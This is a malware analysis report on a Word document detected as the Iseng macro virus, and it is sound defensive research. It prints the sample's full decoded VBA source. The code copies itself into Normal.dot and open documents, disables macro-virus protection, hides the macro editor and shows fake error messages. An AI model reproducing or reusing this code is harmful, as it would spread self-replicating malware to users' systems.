Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8dc89a215f0b26b7…

MALICIOUS

Office (OLE)

58.0 KB Created: 2001-07-12 00:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 97635625d5ecc43f83049c2b5873225d SHA-1: 7dd82bab5007d5c189718f29d2f91478479cb5ae SHA-256: 8dc89a215f0b26b71eea663c297b254dbc9aac75eaf799b84175e2fdee552db6
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Iseng-1. It contains legacy WordBasic macro markers and a VBA AutoOpen macro, indicating a macro-based threat. The VBA script appears to be designed to hide its presence and manipulate macro security settings, likely to facilitate further malicious activity.

Heuristics 5

  • ClamAV: Doc.Trojan.Iseng-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Iseng-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
     Application.OrganizerCopy Source:=A.FullName, Destination:=T.FullName, Name:=N, Object:=3
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3836 bytes
SHA-256: 89267f32133ff89039883709b5da6cd31d61fea765ad6670e05e95d4fc5c77cf
Detection
ClamAV: Doc.Trojan.Iseng-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Iseng"
Public A
Public R
Public T
Public Const G = "Organizer"
Public Const X = "Please reinstall your Microsoft Office Program"
Public Const V = "Visual Basic"
Public Const W = "Iseng"
Public Const Y = "Isengf"
Public Const Z = "ThisDocument"
Public Const O = "Macro"
Public Const E = " Editor Error"
Function gmm(I, D)
 On Error GoTo S
 gmm = D.VBProject.VBComponents(I).Name
S:
End Function
Sub Fa(I)
 f = Options.DefaultFilePath(Path:=2) & "\Normal.dot"
 On Error GoTo S
 T = GetAttr(f)
 On Error GoTo S
 SetAttr f, I
S:
End Sub
Sub CM(A, T, N)
On Error GoTo S
 Application.OrganizerCopy Source:=A.FullName, Destination:=T.FullName, Name:=N, Object:=3
S:
End Sub
Function CD(D)
 CD = 0
 For I = 1 To D.VBProject.VBComponents.Count
  If gmm(I, D) = W Then
   CD = 1
  End If
 Next I
End Function
Sub CA(D)
 For I = 1 To D.VBProject.VBComponents.Count
  nm = D.VBProject.VBComponents(I).Name
  If (nm <> Z) And (nm <> W) And (nm <> Y) Then
   On Error GoTo S
   Application.OrganizerDelete Source:=D.FullName, Name:=nm, Object:=3
  End If
 Next I
S:
End Sub
Sub DP(X)
 Fa (32)
 With Options
  .VirusProtection = False
  .SaveNormalPrompt = False
 End With
End Sub
Sub Init(X)
 A = Application.DisplayAlerts
 Application.DisplayAlerts = 0
 Call DP(1)
 WordBasic.DisableAutoMacros 0
 With CommandBars(V)
  .Visible = False
  .Enabled = False
  .Protection = 8
  .Protection = 1
 End With
 On Error Resume Next
 CommandBars("Tools").Controls(O).Delete
 CustomizationContext = NormalTemplate
 On Error GoTo 0
End Sub
Sub Bb(X)
 On Error GoTo S
 Application.DisplayAlerts = A
S:
End Sub
Sub Hh(X)
 Call Init(1)
 On Error GoTo S
 NU = CD(NormalTemplate)
 On Error GoTo S
 DU = CD(ActiveDocument)
 If NU = 0 Then
  Call CA(NormalTemplate)
  If DU = 1 Then
   Call CM(ActiveDocument, NormalTemplate, W)
   Call CM(ActiveDocument, NormalTemplate, Y)
  End If
 Else
  If DU = 0 Then
   Call CA(ActiveDocument)
   Call CM(NormalTemplate, ActiveDocument, W)
   Call CM(NormalTemplate, ActiveDocument, Y)
   R = 1
  End If
 End If
S:
 Call Bb(1)
End Sub
Sub Si(X)
 If R = 1 Then
  On Error GoTo S
  ActiveDocument.SaveAs FileName:=ActiveDocument.Name, FileFormat:=0
 End If
S:
End Sub
Sub AutoOpen()
 Call Hh(1)
 Call Si(1)
 Call Bb(1)
End Sub
Sub FileClose()
On Error GoTo S
 WordBasic.FileClose
S:
End Sub
Sub FileOpen()
 Dialogs(80).Show
 Call Hh(1)
 Call Si(1)
 Call Bb(1)
End Sub
Sub FileSaveAs()
 Call Hh(1)
 Call Bb(1)
 Dialogs(84).Show
End Sub
Sub FileSave()
 Call Hh(1)
 Call Si(1)
End Sub
Sub HelpAbout()
 DialogsOn Error GoTo S
 (9).Show
 On Error GoTo S
 Isengf.Show
S:
End Sub
Sub FileExit()
 WordBasic.FileExit
End Sub
Sub ToolsOptions()
 Dialogs(974).Show
 Call DP(1)
 On Error GoTo S
 Isengf.Show
S:
End Sub
Sub FileTemplates()
 Call Hh(I)
End Sub
Sub ToolsMacro()
 MsgBox X, 0, O & E
End Sub
Sub ViewVBCode()
 MsgBox X, 0, V & E
End Sub
Sub FormatStyle()
 On Error GoTo S
 Dialogs(180).Show
S:
End Sub
Sub Organizer()
 MsgBox X, 0, G & E
End Sub

Attribute VB_Name = "Isengf"
Attribute VB_Base = "0{B0318A79-7622-11D5-B0EE-E452F8A59F58}{B0318A6A-7622-11D5-B0EE-E452F8A59F58}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False




















































Private Sub Okay_Click()
  Hide
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.